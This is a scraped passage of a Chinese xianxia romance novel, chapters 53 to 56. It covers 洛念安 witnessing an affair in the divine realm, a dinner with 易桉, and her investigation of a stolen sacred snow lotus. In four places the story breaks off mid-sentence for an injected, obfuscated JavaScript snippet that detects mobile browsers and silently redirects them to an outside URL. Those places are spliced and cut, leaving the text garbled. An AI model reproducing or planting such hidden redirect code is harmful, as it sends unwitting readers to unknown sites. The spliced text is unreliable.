念清漓喜好清净，故而神殿的位置偏僻了些，位于神界一角，只有一条道能通往清漓殿。正是锦和走的这条。 见锦和似要回头，洛念安下意识贴墙藏了起来，她微微蹙眉，印象里念清漓与上神之间并无私交，因她母族与九尾狐族结为姻亲，才与白衡私下的关系好一些，就算如此，也只会约在其他地方碰面，从不会私下在清漓殿见面。她与其他上神更只是碰面时相互客套的关系。 所以锦和去找念清漓做什么？难道洛君逸现在正在清漓殿，其实他是去找洛君逸的？ 但是若有事商议，只会在紫微大殿才对。 洛念安的眉头越蹙越深，疑问的种子萌发，脑中思绪尚未清明，脚已经先一步迈了出去。 前面的锦和似乎很是小心，时不时就往后张望一番。 这让洛念安心中疑问更深，虽是隐身状态，但跟踪仍十分谨慎。 锦和果然拐进了清漓殿。 洛念安在麒麟石像旁停了一会儿，才悄声靠近殿门，露出一只眼往里看了看。 原先应有仙侍在殿前扫洒，如今却一个人也不见，正殿大门紧闭，必有蹊跷。 洛念安闪身来到正殿门前，贴门而立，屏息听着里面的动静。 “......”她蹙着眉，怀疑殿内施了术法，竟是一点声音都透不出来。洛念安左右张望一番，绕身至殿后，找到了那扇玉雕镂空窗。她立在窗边，探头往里看去，好不容易避开屏风，寻了个能看见殿中的角度。 视线里，一柄拂尘置于玉案之上，拂尘的主人锦和端坐于案边，笑容满面，不知在和对面的念清漓说些什么。 洛念安耳朵贴在窗上，试图听见他们谈话的内容，然而没用，她更加确定里面之人一定施了术法。 她扭过头来，见到锦和站起身，往对面念清漓的位子挪去。 洛念安蹙下眉头，正待疑惑，却见锦和挤到念清漓身旁坐下，伸手攀上她的肩膀，将人揽进怀中，作势偏头在她额上落下一吻。 “？！！！！” 目睹全程的洛念安顿遭五雷轰顶，震得她脑中空白，耳边嗡鸣，现实里的一切都离她远去，唯有什么东西正破碎坍塌分外清晰。 内心里爆发的战争打了一场又一场，始终未分胜负。她心中千般纠结，万般犹豫，就这样呆立在原地，直勾勾盯着屋内二人浓情蜜意，半晌，眨了眨酸涩的眼睛，直觉自己快要失明。 更难堪的事情并没有发生，不知过了多久，锦和恋恋不舍地松了手，站起身，看样子是要离开了。 这让洛念安松了口气。 她摸不清自己的感受，更理不清自己的想法，她只想跑，赶紧跑，跑到离这里远远的地方。 现身在玉兰观时，易桉正翘着二郎腿坐于树下，手指百无聊赖地卷着自己的头发。叶蓉也在，正蹲在门口给小白喂吃喂喝。 “姐姐。”见到洛念安，易桉瞬间扬起唇角，紧跟着起身迎上前去。 洛念安抬头看了他一眼，勉力扯出一抹笑：“你来啦。” 易桉望着她，嘴角又落下，柔声问道：“谁惹姐姐不高兴了？” 洛念安闻言摇了摇头：“实在抱歉，我，我现在想进去休息。” 易桉眉头微扬，抿唇不语，只是侧过身子，为她让开道。 “谢谢。”洛念安失魂落魄地进了屋。 易桉跟在她身后，却似有何顾虑一般，在门口停下。 叶蓉诧异地看了看门内，又看了看易桉，犹豫片刻，小声道：“洛姐姐这是......神界是不是欠她钱不给啊？” 易桉侧目看了她一眼，什么都没说，只是抬步进屋，并反手关上了房门。 洛念安已经坐在床上了，正准备躺下去盖被子睡觉，见他进来，动作一顿。 易桉的眼神流露出满满的担忧，声音很轻，透着几分小心翼翼：“姐姐......” 洛念安莫名觉得愧疚，一边胡乱整理被子，一边道：“我想我大抵是......生病了，头也昏了，眼也花了，我应该睡一觉，睡一觉就好了。” 她不知道自己在胡说八道些什么， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶蓉见她吃了，便放心地拿起一块，咬了一口，眼睛都睁大了：“好吃。” 洛念安笑着点头：“嗯。” “对了，”叶蓉边吃边道，“那个柳姑娘我问过了，她说她生活本就不如意，经过此次婚事，更加想要离开，但是不知该去何处。我便将计划与她说了，她很愿意。那个男的的事情我也查问过了，柳姑娘说的没错。听说，他上一个妻子家里三个女儿一个儿子，出事后给了丈人家二两银子，这事儿竟然就这样揭过了。现在又在到处讨媳妇害人。” 洛念安垂眸吃饼，半晌后，道：“那便按计划行事吧。” 叶蓉探过头去：“那那个男的呢？” 洛念安看向她，温声道：“对付他，你比我擅长。” 叶蓉露出一个意味深长的笑，一块饼吃完，她才注意到一件事：“王在做什么啊？” 洛念安答：“做饭啊。” 叶蓉蹭的一下站起身，来回踱了几步，她还是不太适应这件事情，小声问道：“我是不是应该去帮帮忙？” 洛念安道：“淡定些。” 叶蓉也觉得自己去帮忙不太合适，又来回踱了几步，才不太安心地坐了回去。 洛念安拍了拍手上的碎末，道：“没事的，小桉就是喜欢做饭。” “……？”叶蓉看向她，不太确定道，“你确定吗？” 洛念安点头：“确定啊。” 叶蓉以手扶额，扶了一会儿，抬起头，小心翼翼道：“洛姐姐，神界给你功德了吗？” 洛念安道：“给了。” “哦哦哦，”叶蓉继续小心翼翼道，“那，神界有人欺负你了？”她比划了一下拳头，“谁欺负你你就告诉我……告诉王，王肯定会去收拾他的！” 洛念安看向她，又垂下眸，淡声道：“没人欺负我。” 叶蓉道：“那是……？” 洛念安往后靠去，仰着头，闭上眼道：“没什么，就是……把十万功德搬回殿中，有些累了，睡着了，做了个梦。” 叶蓉愣了愣：“做了个梦？做噩梦了？” 洛念安眼眸睁开一条缝：“嗯，做了个噩梦。” 53. 宴请客举杯谢君情 “二位客官，里面请。” 店小二掀起珠帘，引着洛念安和易桉入座。他弯腰放了一卷竹筒食单在桌上，道：“二位先看着，看好了唤我就是。”他说完，退出包厢，下楼去忙着招待其他客人了。 洛念安与易桉对视一眼，不好意思笑道：“抱歉啊小桉，听闻这里是皇城最有名的酒楼，故而人多了些，我提前三日约才约到了今日。” “没关系啊，”易桉托着腮，笑着看她，“我还多高兴了三日呢。” 洛念安眨了眨眼，一时没明白这句话的意思，便将食单往他面前推了推，道：“你看看想吃些什么，这里的名菜都在前面，千万不要与我客气。” 易桉轻轻笑了笑，道：“我等这一顿可是等了许久，不会与姐姐客气的。”说着，他翻开食单，垂眸扫了一眼，又看向洛念安，见其正张望着外面的大堂，也跟着看了过去，轻声问道，“姐姐在看什么？” 洛念安微微一笑，道：“这里与我之前做工的地方很像。”她看着跑前跑后的店小二，忍不住道，“他们很辛苦的，忙活一天工钱拿不了多少，若是碰上客人刁难，也只能忍气吞声，弄不好还要被扣工钱。” 易桉并未言语，洛念安回神，发现他正望着自己，眸光深邃，里面盛满了她看不懂的情绪。 “怎么了？”洛念安睁大眸子。 易桉眨动眼睛，垂下眸，视线重新落在了食单上，他轻声道：“没什么，觉得自己很没用罢了。” 洛念安微微一愣，道：“怎，怎么突然这样妄自菲薄起来了？”她无比真诚又认真道，“谁说的？你明明就很厉害很有用啊。” 这样直白地安慰人的话，让易桉忍不住笑出了声，他抬眼看向洛念安，将食单推了过去：“姐姐看看想吃什么。” 洛念安道：“我没了，你若是想好我们就点菜吧。” 易桉点头，抬手掀起珠帘，唤道：“店家，点菜。” “来了！”店小二安置好上一桌客人，连忙赶了过来。 易桉报了菜名，最后嘱咐道：“多加辣，不要芫荽。” “好嘞~” 洛念安愣住，易桉点的菜不仅都是她想尝的，连她不喜欢吃芫荽都想到了。细想一番，她又觉得惊奇，易桉做的饭是从来都没有芫荽的，她不爱吃，故而自己做饭肯定也不会放芫荽，如此，她似乎从未告诉过他自己不喜欢芫荽啊。 “姐姐，还有需要加的吗？” 易桉的声音拉回了洛念安的思绪，她点头，对店小二道：“你们这里最好的酒，上一壶，谢谢。” “好嘞好嘞。” 店小二走后，洛念安借口离开了，实际上是要去如厕。等她回来，刚踏上二楼，忽闻一声：“跑堂的，点菜！” “来了来了！”洛念安快速赶到声源地，与在坐的两位客人六目相对，大眼瞪小眼，三人皆是一愣。 闻言赶来的真正的店小二也愣住了。 “......抱歉抱歉！”洛念安低着头，红着脸，强忍着尴尬快步离开，钻进珠帘，抱头趴在桌上。 “我还说店家什么时候找了个大美人做店小二呢。” 大堂里的声音清晰传进包厢，洛念安只恨不得钻到桌子下面。 方才那一幕易桉肯定也看见了。 如此一想，洛念安更是尴尬万分，不敢抬头。 身旁忽然传来什么东西落下来的响动，她忍不住偷偷侧目看去，发现是易桉将卷在门框上的竹帘放了下来，这下，这个包厢才是真正与大堂隔离开来。 洛念安抬眸，一不小心撞上了易桉的视线，她下意识避开，却听见易桉道：“看样子，姐姐无论做什么都分外出色，我该要向姐姐好好学习。” “......”洛念安微微一怔，再抬眼，发现易桉正满眼真诚地看着自己。 “还有什么？” 洛念安懵然抬头：“什么？” 易桉道：“除了将军、卖艺、店伙、卖茶，姐姐还做过什么？” 洛念安顺着回忆了一下，然后道：“洗衣缝衣，洗衣春夏两文一件，秋冬四文一件，缝衣的话都是两文一件。”说起这个，她来了劲，“你知道吗？我缝补衣裳的很好的，基本看不出来，所以那时候有许多人来找我缝衣。你看，”她伸出自己的衣袖，指给易桉看，“这里本来破了个洞，被我缝上了，是不是不仔细看完全看不出来？” 易桉顺着她的指引看去，道：“是啊，真厉害。” “我还攒钱开过一个小饭馆，”洛念安继续絮絮叨叨地说着，“不过生意不太景气，可能是我做的菜太辣了，把客人都辣跑了，然后就关门大吉了。” 易桉挑眉：“赔钱了？” 洛念安托着腮，叹气道：“是啊，钱都赔完了。” “即便如此，姐姐还是很厉害。”易桉笑了笑，可洛念安总觉得他面上三分笑意，掺着三分半的假。 她不知原因，易桉也没再说话，只是沉默地一杯接一杯喝着凉茶。 不知是渴了还是怎样。 洛念安有些受不住这样诡异的沉默气氛，正欲开口说些什么，店小二就来上菜了。 她顿时松了口气，笑吟吟地满上酒，然后张罗着让易桉吃菜。 “小桉，”洛念安举起酒杯，嘴角噙着笑，温声道，“虽知你也许不喜欢听，但我还是觉得，应该正式地对你道一句感谢。” 易桉举杯的动作微微一顿，随之与其相碰，道：“是不太爱听。” 洛念安轻声笑了笑，仰面将杯中酒一饮而尽，然后道：“日后，若你有任何我帮的上忙的地方，一定尽管开口。” 易桉垂下眸，勾了勾唇，又抬眸直勾勾地盯着她道：“好啊。” 席间，洛念安又点了几道她觉得味道可以的菜品，并让店小二打包。店小二走后，她对易桉解释道：“小蓉今日有事在身，我带些饭菜回去给她。” 易桉点头：“是上次的事情？” 洛念安道：“是啊，若一切顺利，今日便该结束了。” 他们回到玉兰观时，叶蓉果然已经回来了。 易桉将手上的东西放进屋，便与洛念安道别，离开了。 叶蓉看着洛念安，贼兮兮地笑着：“洛姐姐，你与王上，吃了饭就回来了？” 洛念安抬手搔了搔面颊，不知道自己在不好意思些什么，她如实道：“吃完饭，我们在皇城逛了逛，就回来了。对了，我还给你买了一身衣裳，你快去看看，喜不喜欢。” 闻言，叶蓉快速钻进屋内，在一堆东西里找寻着。洛念安跟进去，帮她找，边递给她边道：“哦对，其实不是我买的，因为是小桉付的钱。” 叶蓉举着衣裳在身上比划着，道：“哎呀，你俩谁付都一样，分这么清楚做什么？” 洛念安愣了愣：“啊？” 叶蓉的关注点却不在这件事上了，满心满眼都是新衣服，一不做二不休脱下衣服就换上。换好后，在洛念安面前转了一圈，问道：“如何？” 洛念安笑着道：“很好看，你长得好看，穿什么都是好看的。” 叶蓉被夸的有些不好意思，扑过去揽住她的手臂，摆了摆，道：“我哪里好看？洛姐姐你才是真的好看呢，是我见过最最好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804227|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看的人！” 洛念安轻声笑了笑，道：“少贫嘴，我给你带了饭菜，法术护着，应该没凉，快趁热吃吧。” “好。”叶蓉穿着新衣坐在桌边打开食盒，一边将饭菜摆出来，一边道，“这么多？对了，洛姐姐，事情都办妥了。将三两银子放在柳姑娘父母家后，我就带她离开了。她起先还不要呢，说她赚了钱会孝敬父母。话说，你为何要给他们三两银子啊？我觉得给他们简直白瞎了那些银子。” 洛念安也在桌边坐了下来，闻言，她道：“若是养大的女儿白白跑了，什么都没留下，他们想必不会善罢甘休。” “那又如何？”叶蓉满不在乎，“反正他们如今绝对不会找到柳姑娘的。” 洛念安沉默片刻，道：“息事宁人吧。” “好吧，”叶蓉已经吃起来了，“好吃好吃，不愧是皇城第一的酒楼。”她又吃了几口，才道，“还有，她让我谢谢你，说她很喜欢现在的名字柳明珠。” 洛念安点点头，轻声道：“喜欢就好。”停顿片刻，她又问道，“你见过那青娥堂堂主了吗？” 叶蓉摇头道：“没有，安排柳明珠进去的是其他人，她们说堂主这几日有事不在，不过她们做事还是挺爽利的。我进去看了一圈，青娥堂会接一些织布绣花的活给她们做，还会教她们识字读书，看着还挺好的。能得到王的认可，肯定是不错的。我走时想给她们塞点钱让帮忙多照顾一下柳明珠，结果人家不收。” 洛念安笑了笑，道：“看来那堂主治理有方，能办起这样一个地方，当真不错。” 叶蓉连连点头：“是啊是啊。” 洛念安见她吃得正香，便不再多说。 第二日一早，洛念安收到柳渊的消息说要参加殿议。她纵使万般不情愿，仍不得不赶到神界参加。 甫一入殿，洛念安便看见了立在最高处座位旁的锦和，她眉头一皱，走到柳渊他们身边站着。等上神到的差不多时，洛君逸才步入殿中，洛念安眼看着他走到锦和身旁，落座。两人不知在交头接耳说着什么。 洛念安直勾勾地蹙着眉盯着锦和看，看了一会儿，又转去看洛君逸，不知是她看得时间长了还是何缘故，恍惚间她好像看见洛君逸的头顶在冒绿光。洛念安猛地回神，甩了甩脑袋，再看过去时，绿光已经消失不见了。 殿议也没说什么有意义的事情，无非是到了年关，说了些空话，又提了一嘴一直没抓到的白衡。 “珈洛。” 柳渊抬了抬胳膊肘碰了碰洛念安，她才猛地回神，站出去。 洛君逸问道：“你可有事要说？” 洛念安微微一怔，才发觉自己似乎全程一直在盯着他看，犹豫片刻，她道：“没有。” 洛君逸垂眸看了她一会儿，才摆摆手。 洛念安又退回原位。 殿议结束后，洛念安三人并肩出了紫微大殿，拾阶而下。老远就看见念清漓带着洛霁禾迎面而来，洛念安脚步一顿，扭头看向身后，看见锦和正与其他文神走在一起。她又扭头看向念清漓，眉头紧蹙。 “怎么了？”柳渊跟着停下，看着她的举动，觉得有些莫名其妙。 洛念安问：“帝后来做什么？” 柳渊觉得更加莫名其妙了：“帝后肯定是来找帝君的啊。” “是吗？” 由于洛念安他们停在原地，锦和一行人便走到了他们前面去。 洛念安眼看着锦和一行与念清漓打了招呼才离开，那客套生疏的样子仿佛真的不熟一般。她藏在袖中的手渐渐握紧，最终转身，避开了念清漓，往另一条道去了。 54. 并蒂雪莲同生双花 柳渊与赫连昭对望一眼。 柳渊：“念将军怎么了？” 赫连昭：“师父许是见到帝后，想起了一些伤心事。” 柳渊点点头，又道：“可是以前看着挺好的啊。” 赫连昭道：“怎么可能不在意，多半是装的，不想让我们担心，如今可能是太难过了，装不下去了。” 柳渊有些怀疑：“真的假的？” 赫连昭瞥他一眼：“那还能有假？我肯定比你了解我师父。你不要在她面前提伤心事。” 柳渊摇扇想了想：“对了，我们可以带她去散散心啊。” 赫连昭蹙眉：“怎么散心？” 柳渊故作神秘：“这你就别管了。” 说完，他快步跟上洛念安。赫连昭白了他一眼才迈步跟上。 柳渊瞟了身旁的洛念安一眼，摇着扇子状似不经意道：“念将军，你可知神界近来发生了一件大事啊？” “何事？”洛念安看向他。 柳渊道：“圣物天极雪莲开了。” 洛念安睁大眼，显然是来了兴趣：“千年一开的天极雪莲今年竟然开花了？” 赫连昭见状插嘴道：“是，而且今年开了两朵，并蒂生双花。” 洛念安再次睁大眼：“此乃奇观啊！” 柳渊道：“是啊，前两日开的花，寻真阁得到消息时就在神界的读神阵里传递了。他们都去欣赏过了，看来你真是一点消息都收不到。” 洛念安问道：“你们没去看吗？” 赫连昭道：“我还没去，前两日一直忙，想等闲下来寻师父一同前去。” 柳渊道：“巧了，我也是这么想的。” 洛念安右手握拳砸向左手掌心，欣喜道：“既如此，择日不如撞日，我们现在就去欣赏一番吧。” 神界圣物，天极雪莲，生长于极北严寒之地。千年一开，花开一朵，一朵三月。 “所以这圣物到底有何功效？”赫连昭抓了抓头顶的黄毛，疑惑道。 “古籍载，圣物可聚三魂，塑七魄，造肉身。”看着数丈外盛开着的并蒂双生的雪莲花，洛念安道，“事实上没人知晓其具体功效，圣物千年一朵，十分难得。神界以为，圣物绽放，乃天赐吉象。如今并蒂双生，更是大吉。” “是啊，”柳渊道，“稀罕三个月，花败了，再等下一个一千年才能看见。还不知道我能不能活到那时候呢，不过也无所谓，有人恐怕从来都没见过圣物，我这见过一次，也值了。” 洛念安轻轻笑了笑，道：“柳将军不要如此悲观嘛，勤加修炼，多抗几次天劫，千年也就过去了。” 柳渊快速摇了摇扇子，虽位于极北之地，但他们三个灵力护体也不觉寒冷。他思索片刻，道：“一千年，意味着我得抗十次天劫，光想想就觉得痛不欲生了。” “别扇了，”赫连昭白他一眼，“风这么大还在这扇。想那么多做什么？能活多久是多久，天要你亡，你想再多也不得不亡。” 无论何时，谈及生死都不免令人压抑沉重。 于是，洛念安赶紧岔开话题道：“你们看那雪莲，开的真好啊，是吧？一根枝蔓开了两朵呢，奇迹，天降奇迹。” 柳渊细细盯着它望，出声道：“是啊，此景象真是从未有过。嘶——你们说，会不会是天道在暗示什么？怎么今年就突然开了两朵呢？” 赫连昭反问：“能暗示什么？” 洛念安道：“一定是天道在暗示……天地皆安，福泽众生。” 柳渊点头道：“有理有理，沾沾福气沾沾福气。” 赫连昭忍不住道：“有病。” 柳渊白他一眼：“那你别沾。” 赫连昭扬声道：“凭什么？我也要沾。” 洛念安被他俩逗得轻声笑了笑，然后道：“那我也沾一些。” 柳渊哈哈一笑，道：“都沾都沾，见过并蒂雪莲的都有福气，有大福气！” 洛念安弯起唇角，心道：“多沾一些，回去带给小桉，还有小蓉。” 几人乐呵呵地沾了福气，有说有笑地离开了极北之地。 然而，很快，上神迎来了第二次殿议。 洛君逸位于高台之上，一手扶额，沉声道：“圣物被盗。” 在场之神面面相觑，谈论声四起。 洛念安三人也相互对望一眼，皆是神色凝重。 锦和道：“诸位皆知，圣物此次开放，乃并蒂双生，寻真阁最新消息，圣物被盗，如今只剩一株。” “珈洛。” 洛念安闻声站了出去：“在。” 洛君逸道：“圣物被盗一事交由你，务必查明何人偷盗圣物。” 洛念安颔首：“珈洛领命。” 锦和温声道：“寻真阁会全力配合殿下。” 洛念安抬眸看了他一眼，又垂下眸，礼貌性点点头，然后退回原位。 锦和继续道：“烦请其余诸位上神配合珈洛殿下，若有线索，欢迎提供，寻真阁会酌情减免税款。” 要说奖些功德可能没人在意，但是减免税款的话对在座的诸位都是极其诱人的，毕竟他们每年都要上交一大笔税款，那可是任谁都会肉疼的数目。当然，洛念安除外，现在的她只对奖功德感兴趣。 “可惜了，还好我们去得早，不然都看不见了。”柳渊深感惋惜，又庆幸道，“还好留了一株，没全都偷去。” 赫连昭白了他一眼，道：“我们前日才去看过，偷盗之事一定就发生在这两日。” “......”柳渊瞥向他：“这个，长了脑子的都知道吧？” 赫连昭道：“怕的就是你这种没脑子的。” 这种攻击对柳渊来说毫无杀伤力，他满不在乎道：“本将军一介武夫，有没有脑子有什么重要？如今破案之事交由念将军，她长了脑子，这就够了。” 洛念安沉浸在自己的世界里，没注意到身旁两人的争论。直到锦和的声音响起，才将她带了出来，“殿下，殿下可有头绪，要从哪里查起？若需任何消息，可到寻真阁寻我。” 洛念安停下脚步，回身看向他，又别开视线道：“知道了。” 她并未察觉自己的语气不太好。 柳渊与赫连昭对望一眼。 锦和微微一怔，微笑道：“我可是在何处惹殿下不高兴了？” 洛念安神情紧绷，深吸一口气，勉强扯了扯唇角，道：“我们只需谈论公事。” 柳渊与赫连昭又对望了一眼。 锦和又是一怔，笑容似乎有些维持不住，他道：“殿下说笑了，你我似乎只有公事可谈。” “对。”洛念安重重点头，“正好，我需要一些东西，不如现下移步寻真阁？” 锦和将拂尘甩至右臂臂弯处，伸出左手：“当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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锦和刚走到书案边，闻言脚步一顿，抬眸看向她道：“寻真阁没有此名册。” 洛念安蹙了蹙眉：“据我所知，凡进入结界，寻真阁便会有所知。” 锦和道：“是这样，但是，临近年关，神界上上下下都忙碌至极，寻真阁要忙的事务尤其之多，故而便没有分出人手接管此事。主要也不会想到会发生这种事情。” 洛念安深吸一口气，道：“好，那，这两日各上神的去处，可有记录在册？” 锦和端坐于案边，道：“武职上神若不祭出法器，寻真阁也无法追踪其具体方位。文职上神这几日都在寻真阁忙碌。” 洛念安点头：“记多记少都无妨，我先看看，好心里有数。” 锦和眼神飘忽，片刻后，道：“也没有。” “......？”洛念安看向他，扬眉问道：“请问，那我该从何处查起？” 锦和笑了笑：“我方才说了，不太好查。” “......”洛念安咬了咬牙，吐出一口气，又温声道：“此事帝君可知情？” 锦和道：“知情，帝君已经责怪过了。” 洛念安立于原地，抿着唇，半晌，转身道：“告辞。” 锦和在她身后道：“殿下慢走，若有需要还请再来，寻真阁定会全力配合。” 55. 论苍生安世上无神 洛念安无所顾忌地摊开四肢躺在地上，视线里是一轮近在眼前的玉盘，散着清冷的光。 霎时，一声划破长空的鹰啼声响起，紧接着，一道巨大的黑影划过玉盘。 是苍。 洛念安的脑中忽然响起一道声音：“看见那只海东青了吗？知道它的主人是谁吗？太阴鬼王！这海东青出现在这里意味着太阴鬼王就在附近……”她猛地坐起，端直身子。苍在崖边的空中盘旋几圈，便飞走了，不知要去何处。 洛念安正欲开口唤它，便听见易桉的声音在身后响起：“我道它为何往这处飞，原是姐姐在这处。” 洛念安回头看去，扬唇笑道：“小桉。” “姐姐为何独自在此？”说话间，易桉已经走到她身旁，顺势坐下。 洛念安望向他，道：“来赏月，顺便想些事情。你怎知我在这？” 易桉笑了笑：“我方才说了啊，是苍带我来的。” 洛念安也笑：“它没有你的指示，应该不会擅自飞出鬼城吧？” 闻言，易桉低笑几声，道：“看来，什么都瞒不过姐姐。在玉兰观没等到姐姐，便来寻一寻。” 洛念安一怔：“今早神界殿议，我便去了神界，你何时到玉兰观寻我的？” “不早，”易桉道，“午时才去。” 洛念安睁大双眸：“一直等到现在吗？” 易桉弯唇道：“反正我无事可做，等姐姐嘛，多久都等得。” 洛念安却是有些不好受了，她不想让易桉白白等她这么久，结果还没等到。她道：“怎地也不告诉我，我好早些回去。” 易桉道：“姐姐有事便去忙，自然是姐姐的事情要紧。” 洛念安摇头，道：“你于我更是要紧事。” 说完她猛地愣住。 易桉望着她，显然也是一愣。 洛念安赶紧摆摆手：“我的意思是，你下次一定要让我知道你在等我，这样我一定会早些赶回去的。” 易桉弯唇一笑：“好。” 空气莫名陷入了诡异的沉寂，让人有些不自在。洛念安突然发现自己的指甲有些长了，该剪了。嗯？衣袖何时多了个线头？ 她正与线头交战中，听见易桉问道：“所以姐姐有何烦心事？” 洛念安动作一顿，看向他，忽然就把揪线头这件事抛诸脑后。她学着易桉，双臂支在身后，幽幽叹了口气，才道：“神界圣物天极雪莲近日开放了。” 易桉道：“有所耳闻，并蒂双生。” 洛念安盯着天边的太阴，道：“我前日去看过，那两朵雪莲立于风雪之中，如天地一般纯白。可是，今日得知消息，天极雪莲被盗了一朵。” 易桉看向她：“故而姐姐是为此事烦忧？” 洛念安微微点头：“其中之一吧，我负责彻查此事，可是现在却毫无头绪。” 易桉挑眉道：“神界难道不应该先怀疑到我头上来吗？” 洛念安一怔，随即轻笑出声，转眸看向他道：“还真被你猜对了。” 易桉抬了抬眉，无所谓道：“不怀疑我才是不正常。”停顿片刻，他道，“那其二呢？” 洛念安有一丝困惑，随即反应过来。她抿了抿唇，满是遗憾道：“本想寻个机会带你一同去看一看那难得的奇景，可惜，如今看不到了。” 易桉望着她，似乎怔了怔，随即弯起唇角，道：“姐姐在赏景之时，竟想到了我吗？” 洛念安闻声点头：“是啊，不过现在我反而有些庆幸了，还好你没去，不然真的是有理也说不清了。” 易桉似乎心情大好，语调微扬：“那有什么？我相信姐姐会还我清白的。” 洛念安看向他道：“即便如此，我也不想任何人给你安上莫须有的罪名。” “嗯，”易桉手肘支着膝盖，托腮望着她，嘴角始终都翘着一抹好看的弧度，“姐姐最好了。” 月光照耀下，他的眸子清亮。洛念安愣了愣神，猛地移开视线，胡乱转移话题道：“事件毫无头绪，今日找锦和真君要进入极北之地的神仙名册，没有，记录这两日各上神的去处的册子，也没有。” 易桉道：“寻真阁从来不查有用的东西，没用的倒是记了一堆又一堆。” 洛念安微微睁眸：“名声竟已经传到鬼界去了吗？”顿了顿，她道，“寻真阁的卷宗倒也不全是没用的，也许是真的很忙吧。” 易桉笑了笑，道：“他能坐上那个位子，真是稀奇。” “啊？”洛念安从这句话理解到了另一层意思，又不太确定。 随即便听见易桉接了一句：“毫无天资。” 果然。 洛念安道：“听起来，你似乎很了解他。” 易桉双臂支在身后，仰首看了一眼天边那轮并不完整的月亮，淡声道：“不了解，他飞升前的事迹倒是听说过一些。” 洛念安来了兴趣，往易桉身旁靠近了些，道：“说来听听。” “被人扶上位的傀儡皇帝。”易桉侧目看向洛念安，故作神秘道，“姐姐可知，扶他上位的是何人？” 洛念安懵然摇头，问道：“何人？” “颜无双。” “颜无双？！” “嗯，”易桉继续道，“他被颜无双扶上位时尚未成年，后来颜无双飞升，便点了他的将，带着他一同入了神界。” 突然将这两个人联系在一起，洛念安有些反应不过来。好一会儿，她才喃喃道：“那时尚能点将，带人一齐飞升。后来天帝废除了这一权力。”又沉思了许久，她问道，“那颜无双堕魔后呢？他如何？没用因此受到牵连吗？” 易桉道：“那时他还只是上仙，牵连自然是没有的，不然也不会爬到现在这个位置。” 洛念安还是十分意外，她道：“我竟从未听人提起。” 易桉轻轻哼笑一声：“如今神界从那时待到现在的神仙没几个了，以他今时今日的地位，想隐瞒些什么，轻而易举。” 洛念安点头：“也对也对。” 易桉继续道：“他做皇帝时无所作为，毫无功绩，飞升不知道花光了他几辈子的运气，能掌管寻真阁，真是神界无人了。” 他就差把“德不配位”几个字贴在锦和脑门上了，不仅骂了他，还骂了神界所有文职上神。 洛念安摆摆手，打马虎眼道：“诸位文职 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛念安微微一愣，反应过来后不禁扬起唇角，顿了顿，嘴角又忽然落下：“不过，我还是希望如她们一般的女子越少越好。最好以后都听不到这样的祈祷，就算再没人认识我记得我，我也高兴。” “若真的等到那一日，”易桉道，“神存在还有何意义？” 洛念安道：“神本应是为维护三界秩序而存在，若苍生疾苦才能诞生出神，那我宁愿希望世上无神。” 易桉笑了笑，他的笑声散去后，空气沉寂了许久。隆冬时节，四下都静悄悄的。 安静的让人想睡觉。 洛念安盯着月亮看了半晌，渐渐的，月亮似乎出现了残影，天上好像挂上了两轮月亮。她猛地睁眼，仔细看了看，发现只有一轮，便安心地闭上眼睛，准备进入梦乡。 朦胧间，耳旁似乎有人轻声道：“无神便无你，无你便无我。” 无什么无什么？ 洛念安想睁开眼问问清楚。奈何每次易桉在身旁时，自己的睡眠都出奇得好。挣扎了一会儿，发现实在睁不开眼，索性就睡了过去。 “算了，睡醒再问吧。” 这是洛念安最后的想法。 56. 能者多劳劳无所获 再睁开眼，洛念安发现自己在玉兰观内。她坐起身，刚睡醒脑子有些发懵，好一会儿才记起自己昨夜应该是睡在了崖边，也就是说是小桉送她回来的。 洛念安抬手摸上自己的面颊，半晌，突然发现自己一直在傻笑。她甩了甩脑袋，掀开被子起床。下地走出屋外，看了一圈，没见到叶蓉的身影。 与她的期望相反，最近她耳旁的祈祷声增多，叶蓉也就忙了起来。 洛念安简单梳洗一番，走到灶台边揭开锅盖，发现里面温着一碗粥。她弯唇笑了笑，端出那碗粥放在桌上。供桌上摆上了一盘新馒头，估计是昨日村民送来的。洛念安走过去拾了一个馒头，坐在桌边就着米粥简单吃了顿早饭。吃了饭收拾好灶台，洛念安走出房门，打算也去忙一忙。 谁知，刚出房门就见到停在院门前的锦和。洛念安脚步一顿，视线相对，她礼貌一笑，唤道：“真君。” 锦和见到她，便推开院门进来。 洛念安一眼望见他抱着一堆卷轴，迎了上去。 “殿下。”锦和将卷轴放在院中的圆桌上，道，“昨日你走后，我命人查明了近两日各上神的去处，今早才整理好并已记录在册，都在这里了。这两日进入极北之地的神仙名录也在里面。” 洛念安愣住，回想起昨日才跟易桉吐槽了这件事，还说了人家坏话。结果今日人家就将自己需要的东西送来了，心中不免羞愧万分，连声道：“抱歉抱歉。” 锦和扬起眉，纳闷道：“抱歉？殿下这是？” 洛念安一怔，忙改口道：“不是不是，我是想说多谢，真是麻烦了。” 